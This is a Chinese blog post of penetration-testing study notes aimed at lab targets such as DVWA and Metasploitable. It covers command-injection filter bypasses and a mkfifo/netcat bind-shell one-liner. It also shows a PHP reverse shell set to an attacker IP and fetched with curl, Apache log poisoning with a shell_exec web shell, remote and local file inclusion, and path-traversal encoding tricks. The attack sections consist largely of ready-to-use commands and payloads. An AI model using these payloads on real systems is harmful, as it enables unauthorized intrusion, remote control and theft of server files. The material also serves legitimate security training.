kali渗透学习-web渗透手动漏洞挖掘(三)

登陆后利用阶段
1.进行手动爬网,自动扫描,进一步的探测
a.过滤,只显示有参数的请求
在这里插入图片描述
b.使用Repeater测试
逐步删除无用变量,试出可影响页面内容的变量
对符号型输入,先进行编码
没对输入变量进行过滤

例如dvwa中的Command Execution ping测试命令进行测试,是否有漏洞

low级别:
未进行任何过滤,可以用 ;、|、&、&&
在这里插入图片描述
查看源码,查找原因,直接应用体检的变量没有过滤
在这里插入图片描述
medium级别:
设置了黑名单,可以使用 |、&绕过
在这里插入图片描述
high级别
同样设置了黑名单,但由于过滤不严谨,仍可以使用 |
在这里插入图片描述
确认了此漏洞后,就可以利用此执行远程命令
1、利用命令执行漏洞,打开服务器4444端口

;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

2、使用nc进行连接
在这里插入图片描述
kali生成反弹shell

root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
 
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php
 
root@kali:~# vim /var/www/html/1.php 
 
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.71.131';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
//
// Daemonise ourself if possible to avoid zombies later
//

kali 打开侦听端口

root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...

利用命令执行漏洞
在这里插入图片描述
结果
在这里插入图片描述
为什么反弹的是kali的shell?

;curl http://192.168.71.131/1.php 这条命令实际是在 kali(192.168.71.131)机器上执行了,所以反弹的是自身的shell。

注意PHP文件在哪台机器上,其中的代码就会在哪台机器上执行。

利用这个特性,可以实现一个初级的隐蔽的方法(web层面),被攻击端审计的时候就只会发现肉鸡连接过
在这里插入图片描述

利用目录遍历与文件包含漏洞
directory traversal(目录遍历):
使用者通过这个漏洞,修改url、参数变量,从而读取web根目录以外的文件内容;

file include:

开发员的include函数对输入变量过滤不够严格,导致系统文件,错误包含

一、远程文件包含RFI

远程文件包含(RFI)发生在web应用程序下载并执行远程文件。这些远程文件通常的形式获得的HTTP或FTPURI作为一个web应用程序用户提供的参数。

通过在url中添加一个远程文件,让他去访问;攻击代码在攻击主机上

步骤:在kali Apache服务器上(/var/www/html/)添加木马文件,接着启动本地Apache服务器(service apache2 start)然后在url中添加远程文件路径,则可在目标机执行木马;
在这里插入图片描述
二、本地文件包含LFI

本地文件包含(LFI)类似于一个远程文件包含漏洞除了而不是包括远程文件,只有本地文件即当前服务器上的文件可以包含执行。这个问题仍然可以通过包括导致远程代码执行一个文件,其中包含attacker-controlled web服务器的访问日志等数据。
例如将代码传入到目标机/var/log/apache2/access.log 访问日志,然后在执行

kali中默认集成一些攻击向量字典,/usr/share/wfuzz/wordlist/vulns可以利用

测试漏洞是否存在
默认情况下, metasploitable只有文件包含漏洞,没用远程文件包含漏洞

#修改metasploitable配置文件
sudo vi /etc/php5/cgi/php.ini
在这里插入图片描述
在这里插入图片描述
sudo /etc/init.d/apache2 restart 重启apache服务

首先,观察特点、特征等【如:?page=a.php ?home=b.html ?file=content】;然后是表单或者URL地址
在这里插入图片描述
目录遍历漏洞
/etc/passwd/ 一个普通用户也可以读取的文件,常用于测试
1、?file=…/…/…/…/etc/password
解析:无论是windows系统还是linux,都有两个特殊目录

.     表示当前目录
../    表示当前目录的父目录(上一级目录)../”   越多越好,是因为可以此跳转到根目录

在这里插入图片描述
#也可以直接使用绝对路径?page=/etc/passwd,但是目录遍历漏洞不使用,需使用“…/”

2、?page=file:///etc/passwd【文件系统访问,file后面要求是绝对路径】/etc/passwd
在这里插入图片描述
3、?home=main.cgi【源码内容/配置信息等】

但是目录遍历只看查看一些信息并不能执行命令

文件包含漏洞
先查看文件的权限,必选要有执行读写权限
代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】
本地文件包含
例如利用apache2的访问日志实现本地包含漏洞
先用nc连接目标机80端口发送攻击代码,代码会写入apache2访问日志

<?php echo shell_exec($_GET['cmd']);?>

在这里插入图片描述
在这里插入图片描述
然后浏览器访问本地日志?page=/var/log/apache2/access.log
再加执行命令就可以实现控制
在这里插入图片描述

远程文件包含(相对本地包含,机率较低)
验证:
先在kali上开启监听80观察
浏览器尝试访问kali上的80端口,看能否接受到请求
在这里插入图片描述
利用:在本地下/var/www/html创建木马代码文件,然后开启http服务
在这里插入图片描述
在这里插入图片描述
浏览器执行利用

绕过过滤

当提示:找不到***文件,则应该可以判断有过滤机制
在php5.3之前,存在这种绕过限制
“.” “%00”(通俗有效,表示控制符)【在php语言格式,当遇到%00,则忽略其后面的内容】
例如:?flie=a.doc%00.php

编码
最常用:URL编码【若一层编码不足以绕过,可使用双层或多层URL编码,前提:密文能被服务器解码】
目的:目标服务器能正常地对编码进行解码,并且能查看想查看的内容,同时能够绕过

%2e%2e%2f                           解码 ../

在这里插入图片描述
Unicode/UTF-8 【非英文字符编码】

..%c0%af                 解码 ../
..%u2216
..%c1%9c                解码 ..\

在这里插入图片描述
UNC路径【windows系统文件共享】
• \1.1.1.1\path\to\file.txt
注:可提前将常见的字符单个编码,在两两或任意组合,形成一个字典文件,利用burpsuite中的intruder进行攻击可提高效率

特例:无法从URL中查看任何迹象,其位于http请求头中的cookie
在这里插入图片描述
攻击:【注入位置为cookie信息】
在这里插入图片描述
结果:
在这里插入图片描述
注:任何变量都要进行验证!!!!!

还有一种是会过滤http字符类型,可以采取混插编码绕过
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值